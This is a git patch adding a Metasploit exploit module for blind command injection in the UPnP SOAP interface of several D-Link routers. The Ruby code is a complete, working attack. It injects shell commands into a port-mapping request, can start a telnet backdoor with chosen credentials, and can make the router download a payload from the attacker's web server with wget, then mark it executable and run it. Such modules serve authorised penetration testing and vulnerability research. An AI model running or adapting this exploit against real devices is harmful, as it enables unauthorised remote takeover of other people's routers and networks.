From 49c70911beb4766d9b2e85fb9fd4e9684bfff3c5 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Tue, 9 Jul 2013 13:24:12 +0200 Subject: [PATCH] dlink upnp command injection --- .../linux/http/dlink_upnp_exec_noauth.rb | 319 ++++++++++++++++++ 1 file changed, 319 insertions(+) create mode 100644 modules/exploits/linux/http/dlink_upnp_exec_noauth.rb diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb new file mode 100644 index 0000000000..1690f88ce3 --- /dev/null +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -0,0 +1,319 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link UPnP SOAP Command Execution', + 'Description' => %q{ + Different DLink Routers are vulnerable to OS Command injection in the UPnP + SOAP interface. + Not every device includes wget which we need for deploying our payload. + On such devices you could use the telnet target for starting a telnet server or the + cmd generic payload and try to start telnetd or execute other commands. Since it is + a blind OS command injection vulnerability, there is no output for the executed + command when using the cmd generic payload. A ping command against a controlled + system could be used for testing purposes. This module has been tested successfully + on DIR-300, DIR-600, DIR-645, DIR-845, DIR-865 and DAP1522. + }, + 'Author' => + [ + 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'juan vazquez' # minor help with msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '94924' ], + [ 'EDB', '26664' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] + ], + 'DisclosureDate' => 'Jul 05 2013', + 'Privileged' => true, + 'Platform' => ['linux','unix'], + 'Payload' => + { + 'DisableNops' => true, + }, + 'Targets' => + [ + [ 'CMD', #all devices + { + 'Arch' => ARCH_CMD, + 'Platform' => 'unix' + } + ], + [ 'Telnet', #all devices + { + 'Arch' => ARCH_CMD, + 'Platform' => 'unix' + } + ], + [ 'Linux mipsel Payload', #DIR-865, DIR-645 + { + 'Arch' => ARCH_MIPSLE, + 'Platform' => 'linux' + } + ], + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(49152), + OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), + OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), + OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), + OptString.new('TELNETUSER', [false, 'User to start the telnet daemon (default: random)' ]), + OptString.new('TELNETPASS', [false, 'User to start the telnet daemon (default: random)' ]) + ], self.class) + end + + + def request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription) + + uri = '/soap.cgi' + data_uri = "?service=WANIPConn1" + + data_cmd = "" + data_cmd << "" + data_cmd << "" + + if type == "add" + vprint_status("#{rhost}:#{rport} - adding portmapping") + + sOAPAction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" + + data_cmd << "" + data_cmd << "#{newPortMappingDescription}" + data_cmd << "" + data_cmd << "`#{cmd}`" + data_cmd << "1" + data_cmd << "#{newExternalPort}" + data_cmd << "" + data_cmd << "TCP" + data_cmd << "#{newInternalPort}" + data_cmd << "" + else + #we should clean it up ... otherwise we are not able to exploit it multiple times + vprint_status("#{rhost}:#{rport} - deleting portmapping") + sOAPAction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" + + data_cmd << "" + data_cmd << "TCP#{newExternalPort}" + data_cmd << "" + end + + data_cmd << "" + data_cmd << "" + + begin + res = send_request_raw({ + 'uri' => uri << data_uri, + 'method' => 'POST', + 'headers' => { + 'SOAPAction' => sOAPAction, + 'Content-Type' => "text/xml" + }, + 'data' => data_cmd + }) + return res + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return nil + end + end + + def exploit + downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) + + newPortMappingDescription = rand_text_alpha(8) + newExternalPort = rand(65535) + newInternalPort = rand(65535) + + if target.name =~ /CMD/ + if not (datastore['CMD']) + fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") + end + cmd = payload.encoded + type = "add" + res = request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription) + if (!res or res.code != 200) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") + type = "delete" + res = request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription) + if (!res or res.code != 200) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + return + end + + if target.name =~ /Telnet/ + passw = datastore['TELNETPASS'] || rand_text_alpha(8) + user = datastore['TELNETUSER'] || rand_text_alpha(4) + telnetport = rand(65535) + + vprint_status("#{rhost}:#{rport} - User: #{user}") + vprint_status("#{rhost}:#{rport} - Password: #{passw}") + vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") + + cmd = "telnetd -p #{telnetport} -l \"/usr/sbin/login\" -u #{user}:#{passw}" + type = "add" + res = request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription) + if (!res or res.code != 200) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + type = "delete" + res = request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription) + if (!res or res.code != 200) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + begin + telnet_sock = nil + telnet_sock = TCPSocket.open(rhost,telnetport) + if telnet_sock + print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...") + else + print_error("#{rhost}:#{rport} - Backdoor service has not been spawned!!!") + end + telnet_sock.close + + #modules/auxiliary/scanner/telnet/telnet_login.rb + print_status "Attempting to start a Telnet session #{rhost}:#{telnetport} with #{user}:#{passw}" + auth_info = { + :host => rhost, + :port => telnetport, + :sname => 'telnet', + :user => user, + :pass => passw, + :source_type => "exploit", + :active => true + } + report_auth_info(auth_info) + # NOT WORKING + #merge_me = { + # 'USERPASS_FILE' => nil, + # 'USER_FILE' => nil, + # 'PASS_FILE' => nil, + # 'USERNAME' => user, + # 'PASSWORD' => passw + #} + #start_session(self, "TELNET #{user}:#{passw} (#{rhost}:#{telnetport})", merge_me, true) + rescue + print_error("#{rhost}:#{rport} - Backdoor service has not been spawned!!!") + end + return + end + + #thx to Juan for his awesome work on the mipsel elf support + @pl = generate_payload_exe + @elf_sent = false + + # + # start our server + # + resource_uri = '/' + downfile + + if (datastore['DOWNHOST']) + service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri + else + #do not use SSL + if datastore['SSL'] + ssl_restore = true + datastore['SSL'] = false + end + + #we use SRVHOST as download IP for the coming wget command. + #SRVHOST needs a real IP address of our download host + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + }}) + + datastore['SSL'] = true if ssl_restore + end + + # + # download payload + # + print_status("#{rhost}:#{rport} - Asking the DLink device to take and execute #{service_url}") + #this filename is used to store the payload on the device + filename = rand_text_alpha_lower(8) + + cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}" + type = "add" + res = request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription) + if (!res or res.code != 200) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + end + + # wait for payload download + if (datastore['DOWNHOST']) + print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the DLink device to download the payload") + select(nil, nil, nil, datastore['HTTP_DELAY']) + else + wait_linux_payload + end + + register_file_for_cleanup("/tmp/#{filename}") + + type = "delete" + res = request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription) + if (!res or res.code != 200) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + end + + # Handle incoming requests from the server + def on_request_uri(cli, request) + #print_status("on_request_uri called: #{request.inspect}") + if (not @pl) + print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") + return + end + print_status("#{rhost}:#{rport} - Sending the payload to the server...") + @elf_sent = true + send_response(cli, @pl) + end + + # wait for the data to be sent + def wait_linux_payload + print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...") + + waited = 0 + while (not @elf_sent) + select(nil, nil, nil, 1) + waited += 1 + if (waited > datastore['HTTP_DELAY']) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?") + end + end + end +end